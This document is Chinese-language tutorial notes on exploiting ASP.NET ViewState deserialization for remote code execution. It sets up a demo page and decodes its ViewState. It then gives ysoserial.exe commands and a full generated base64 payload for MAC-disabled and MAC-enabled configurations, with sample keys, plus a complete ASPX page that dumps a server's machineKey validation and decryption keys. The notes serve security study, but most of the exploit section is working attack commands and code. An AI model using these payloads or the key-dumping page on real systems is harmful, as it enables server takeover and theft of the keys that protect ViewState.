ASP.NET ViewState反序列化
基础知识
https://www.cnblogs.com/edisontalk/p/3899123.html
https://www.cnblogs.com/edisontalk/p/3901559.html
https://www.cnblogs.com/an-wl/archive/2011/06/26/2090615.html
ViewState
Visual Studio搭建环境

运行后访问Default.aspx

页面中生成了 __VIEWSTATE 和 __VIEWSTATEGENERATOR 两个隐藏字段
使用ViewStateDecoder解密内容

这串数据是由losFormatter序列化再base64后的字符串
LosFormatter losFormatter = new LosFormatter();
Object v = losFormatter.Deserialize("/wEPDwULLTExMjQxOTA3OTQPZBYCZg8PFgQeD19fQW50aVhzcmZUb2tlbgUgNzcwMTQ4NDRkYzZhNDBlMWIyZDQ5ZDg4ZmY2MjA3Y2IeEl9fQW50aVhzcmZVc2VyTmFtZWVkZGTmVHzX8u1q4dvMrcEcYs6+6IfKsQEcTL+mNFNS6pNB3Q==");
Console.WriteLine(v.GetType().FullName);.png)
反序列化回来可知本质是一组System.Web.UI.Pair对象,可以在代码中向viewstate添加键值来保存一些对象
Default.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class _Default : Page
{
protected void Page_Load(object sender, EventArgs e)
{
ViewState.Add("name","p0l1st");
}
}重启web服务
此时
/wEPDwULLTExMjQxOTA3OTQPFgIeBG5hbWUFBnAwbDFzdBYCZg8PFgQeD19fQW50aVhzcmZUb2tlbgUgNzk4YzgzZDhiYmFjNDczM2I2YjVlZDUxZDE2MWMxODkeEl9fQW50aVhzcmZVc2VyTmFtZWVkZGTRkQgZqVmjP9VRp2v9v7NpyvkUDTowYZDIUF5oe+Wa4g==.png)
viewstate值可控会导致反序列化rce
ViewState反序列化利用
禁用MAC签名
PS E:\code\ysoserial.net\ysoserial\bin\Debug> .\ysoserial.exe -f losformatter -g SessionViewStateHistoryItem -c "ping localhost -t"
/wEyqQsAAQAAAP////8BAAAAAAAAAAwCAAAAVFN5c3RlbS5XZWIuTW9iaWxlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAASVN5c3RlbS5XZWIuVUkuTW9iaWxlQ29udHJvbHMuU2Vzc2lvblZpZXdTdGF0ZStTZXNzaW9uVmlld1N0YXRlSGlzdG9yeUl0ZW0BAAAAAXMBAgAAAAYDAAAA3Akvd0V5bmdjQUFRQUFBUC8vLy84QkFBQUFBQUFBQUF3Q0FBQUFYazFwWTNKdmMyOW1kQzVRYjNkbGNsTm9aV3hzTGtWa2FYUnZjaXdnVm1WeWMybHZiajB6TGpBdU1DNHdMQ0JEZFd4MGRYSmxQVzVsZFhSeVlXd3NJRkIxWW14cFkwdGxlVlJ2YTJWdVBUTXhZbVl6T0RVMllXUXpOalJsTXpVRkFRQUFBRUpOYVdOeWIzTnZablF1Vm1semRXRnNVM1IxWkdsdkxsUmxlSFF1Um05eWJXRjBkR2x1Wnk1VVpYaDBSbTl5YldGMGRHbHVaMUoxYmxCeWIzQmxjblJwWlhNQkFBQUFEMFp2Y21WbmNtOTFibVJDY25WemFBRUNBQUFBQmdNQUFBREFCVHcvZUcxc0lIWmxjbk5wYjI0OUlqRXVNQ0lnWlc1amIyUnBibWM5SW5WMFppMHhOaUkvUGcwS1BFOWlhbVZqZEVSaGRHRlFjbTkyYVdSbGNpQk5aWFJvYjJST1lXMWxQU0pUZEdGeWRDSWdTWE5KYm1sMGFXRnNURzloWkVWdVlXSnNaV1E5SWtaaGJITmxJaUI0Yld4dWN6MGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd3ZjSEpsYzJWdWRHRjBhVzl1SWlCNGJXeHVjenB6WkQwaVkyeHlMVzVoYldWemNHRmpaVHBUZVhOMFpXMHVSR2xoWjI1dmMzUnBZM003WVhOelpXMWliSGs5VTNsemRHVnRJaUI0Yld4dWN6cDRQU0pvZEhSd09pOHZjMk5vWlcxaGN5NXRhV055YjNOdlpuUXVZMjl0TDNkcGJtWjRMekl3TURZdmVHRnRiQ0krRFFvZ0lEeFBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRb2dJQ0FnUEhOa09sQnliMk5sYzNNK0RRb2dJQ0FnSUNBOGMyUTZVSEp2WTJWemN5NVRkR0Z5ZEVsdVptOCtEUW9nSUNBZ0lDQWdJRHh6WkRwUWNtOWpaWE56VTNSaGNuUkpibVp2SUVGeVozVnRaVzUwY3owaUwyTWdjR2x1WnlCc2IyTmhiR2h2YzNRZ0xYUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs=启用MAC签名
-
.NET Framework 4.5 (4.0) 版本之前 (legacy 模式, 可忽略加密)
-
已知 validation 和 validationKey
-
已知
__VIEWSTATEGENERATOR或 apppath 和 path
-
-
.NET Framework 4.5 版本之后 (必须加密)
-
已知
validation和validationKey -
已知
decryption和decryptionKey -
已知 apppath 和 path (
__VIEWSTATEGENERATOR不可用)
-
当指定了ViewStateUserKey时,仍需获得该属性的值才能成功构造Payload
可通过GET/POST请求传递_VIEWSTATE参数的方式发送payload
# .NET Framework >= 4.5
# 即 machineKey 的 compatibilityMode 为 Framework45
# 同时指定 validationKey 和 decryptionKey
ysoserial.exe -g TextFormattingRunProperties -c "calc.exe" -p ViewState --validationalg="HMACSHA256" --validationkey="EF1407C05ADB865C42081A561B731E8A319CE2E9797C541CD5315C1A8EFC9438" --decryptionalg="Auto" --decryptionkey="FAA167F315456DC99D5EE78D3228874AFDFFF581A16F0CCE060170420E52F7EB" --apppath="/" --path="/FirstPage.aspx"
# .NET Framework < 4.5 (4.0)
# 即 machineKey 的 compatibilityMode 为 Framework20SP1/Framework20SP2
# 仅需指定 validationKey
# 指定 apppath 和 path 时需要加上 --islegacy 参数
ysoserial.exe -g TextFormattingRunProperties -c "calc.exe" -p ViewState --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --apppath="/" --path="/FirstPage.aspx" --islegacy
# 指定 generator 时无需加上 --islegacy 参数
ysoserial.exe -g TextFormattingRunProperties -c "calc.exe" -p ViewState --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --generator "156D3223"获取 ViewState machineKey 的脚本 (来自 RowTeam)
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="C#" CODEPAGE="65001">
public void GetAutoMachineKeys()
{
var netVersion = Microsoft.Win32.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\NETFramework Setup\\NDP\\v4\\Full\\", "Version", Microsoft.Win32.RegistryValueKind.ExpandString);
if (netVersion != null)
Response.Write("<b>NetVersion: </b>" + netVersion);
Response.Write("<br/><hr/>");
//==========================================================================
var systemWebAsm = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var machineKeySectionType = systemWebAsm.GetType("System.Web.Configuration.MachineKeySection");
var getApplicationConfigMethod = machineKeySectionType.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var config = (System.Web.Configuration.MachineKeySection)getApplicationConfigMethod.Invoke(null, new object[0]);
Response.Write("<b>ValidationKey:</b> " + config.ValidationKey);
Response.Write("<br/>");
Response.Write("<b>ValidationAlg:</b> " + config.Validation);
Response.Write("<br/>");
Response.Write("<b>DecryptionKey:</b> " + config.DecryptionKey);
Response.Write("<br/>");
Response.Write("<b>DecryptionAlg:</b> " + config.Decryption);
Response.Write("<br/>");
Response.Write("<b>CompatibilityMode:</b> " + config.CompatibilityMode);
Response.Write("<br/><hr/>");
//==========================================================================
var typeMachineKeyMasterKeyProvider = systemWebAsm.GetType("System.Web.Security.Cryptography.MachineKeyMasterKeyProvider");
var instance = typeMachineKeyMasterKeyProvider.Assembly.CreateInstance(typeMachineKeyMasterKeyProvider.FullName, false, System.Reflection.BindingFlags.Instance | System.Reflection.BindingFlags.NonPublic, null, new object[] { config, null, null, null, null }, null, null);
var validationKey = typeMachineKeyMasterKeyProvider.GetMethod("GetValidationKey").Invoke(instance, new object[0]);
byte[] _validationKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(validationKey, new object[0]);
var encryptionKey = typeMachineKeyMasterKeyProvider.GetMethod("GetEncryptionKey").Invoke(instance, new object[0]);
byte[] _decryptionKey = (byte[])validationKey.GetType().GetMethod("GetKeyMaterial").Invoke(encryptionKey, new object[0]);
//==========================================================================
Response.Write("<br/><b>ASP.NET 4.0 and below:</b><br/>");
byte[] autogenKeys = (byte[])typeof(HttpRuntime).GetField("s_autogenKeys", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Static).GetValue(null);
int validationKeySize = 64;
int decryptionKeySize = 24;
byte[] validationKeyAuto = new byte[validationKeySize];
byte[] decryptionKeyAuto = new byte[decryptionKeySize];
System.Buffer.BlockCopy(autogenKeys, 0, validationKeyAuto, 0, validationKeySize);
System.Buffer.BlockCopy(autogenKeys, validationKeySize, decryptionKeyAuto, 0, decryptionKeySize);
string appName = HttpRuntime.AppDomainAppVirtualPath;
string appId = HttpRuntime.AppDomainAppId;
Response.Write("<br/>");
Response.Write("<b>appName:</b> " + appName);
Response.Write("<br/>");
Response.Write("<b>appId:</b> " + appId);
Response.Write("<br/>");
Response.Write("<b>initial validationKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(validationKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>initial decryptionKey (not useful for direct use):</b> ");
Response.Write(BitConverter.ToString(decryptionKeyAuto).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppSpecific = validationKeyAuto.ToArray();
int dwCode3 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appName);
_validationKeyAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_validationKeyAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_validationKeyAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_validationKeyAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific ValidationKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _validationKeyAutoAppIdSpecific = validationKeyAuto.ToArray();
int dwCode4 = StringComparer.InvariantCultureIgnoreCase.GetHashCode(appId);
_validationKeyAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_validationKeyAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_validationKeyAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_validationKeyAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000) >> 24);
Response.Write("<b>AppId Auto specific ValidationKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_validationKeyAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppSpecific = decryptionKeyAuto.ToArray();
_decryptionKeyAutoAutoAppSpecific[0] = (byte)(dwCode3 & 0xff);
_decryptionKeyAutoAutoAppSpecific[1] = (byte)((dwCode3 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppSpecific[2] = (byte)((dwCode3 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppSpecific[3] = (byte)((dwCode3 & 0xff000000) >> 24);
Response.Write("<b>App specific DecryptionKey (when uses IsolateApps):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppSpecific).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] _decryptionKeyAutoAutoAppIdSpecific = decryptionKeyAuto.ToArray();
_decryptionKeyAutoAutoAppIdSpecific[4] = (byte)(dwCode4 & 0xff);
_decryptionKeyAutoAutoAppIdSpecific[5] = (byte)((dwCode4 & 0xff00) >> 8);
_decryptionKeyAutoAutoAppIdSpecific[6] = (byte)((dwCode4 & 0xff0000) >> 16);
_decryptionKeyAutoAutoAppIdSpecific[7] = (byte)((dwCode4 & 0xff000000)>> 24);
Response.Write("<b>AppId Auto specific DecryptionKey (when uses IsolateByAppId):</b> ");
Response.Write(BitConverter.ToString(_decryptionKeyAutoAutoAppIdSpecific).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
//==========================================================================
Response.Write("<br/><b>ASP.NET 4.5 and above:</b><br/>");
Response.Write("<br/>");
Response.Write("<b>validationAlg:</b> " + config.Validation);
Response.Write("<br/>");
Response.Write("<b>validationKey:</b>" + BitConverter.ToString(_validationKey).Replace("-", string.Empty));
Response.Write("<br/>");
Response.Write("<b>decryptionAlg:</b> " + config.Decryption);
Response.Write("<br/>");
Response.Write("<b>decryptionKey:</b>" + BitConverter.ToString(_decryptionKey).Replace("-", string.Empty));
Response.Write("<br/><hr/>");
}
public void Page_load()
{
Response.ContentEncoding = System.Text.Encoding.Default;
Response.Write("<p style='color:#ff0000;text-align:center;'>获取 .NET 框架的机器密钥</p>");
Response.Write("<p>1. 本程序仅供实验学习 ASP.NET ViewState,请勿违法滥用!</p>");
Response.Write("<p>2. 适用场景:获取 .NET 框架权限后均适用!</p>");
Response.Write("<p>3. 公众号:RowTeam</p>");
Response.Write("<br/><hr/>");
GetAutoMachineKeys();
}
</script>https://github.com/Y4er/dotnet-deserialization/blob/main/ViewState.md